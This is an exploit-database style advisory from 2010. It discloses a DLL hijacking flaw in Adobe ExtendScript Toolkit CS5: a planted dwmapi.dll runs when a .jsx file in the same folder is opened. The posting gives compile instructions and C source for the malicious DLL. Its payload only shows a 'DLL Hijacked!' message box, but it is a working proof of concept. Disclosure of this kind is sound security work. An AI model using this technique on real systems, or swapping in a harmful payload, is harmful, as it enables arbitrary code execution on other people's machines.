Adobe ExtendedScript Toolkit CS5 v3.5.0.52 DLL Hijacking Exploit (dwmapi.dll)

2010-08-25 12:46:07

/*

Adobe ExtendedScript Toolkit CS5 v3.5.0.52 (dwmapi.dll) DLL Hijacking Exploit

Vendor: Adobe Systems Inc.
Product Web Page: http://www.adobe.com
Affected Version: CS5 v3.5.0.52 ExtendScript 4.1.23 ScriptUI 5.1.37

Summary: The ExtendScript Toolkit (ESTK) 3.5.0 is a scripting utility
included with Adobe® Creative Suite CS5 and other Adobe applications.
The ESTK is used for creating, editing, and debugging JavaScript to be
used for scripting Adobe applications.

Desc: Adobe ExtendScript Toolkit CS5 suffers from a dll hijacking vulnerability
that enables the attacker to execute arbitrary code on a local level. The
vulnerable extension is .jsx thru dwmapi.dll library.

----
gcc -shared -o dwmapi.dll adobeest.c

Compile and rename to dwmapi.dll, create a file test.jsx and put both files
in same dir and execute.
----

Tested on Microsoft Windows XP Professional SP3 (EN)



Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk


25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}

Fixes

No fixes

In order to submit a new fix you need to be registered.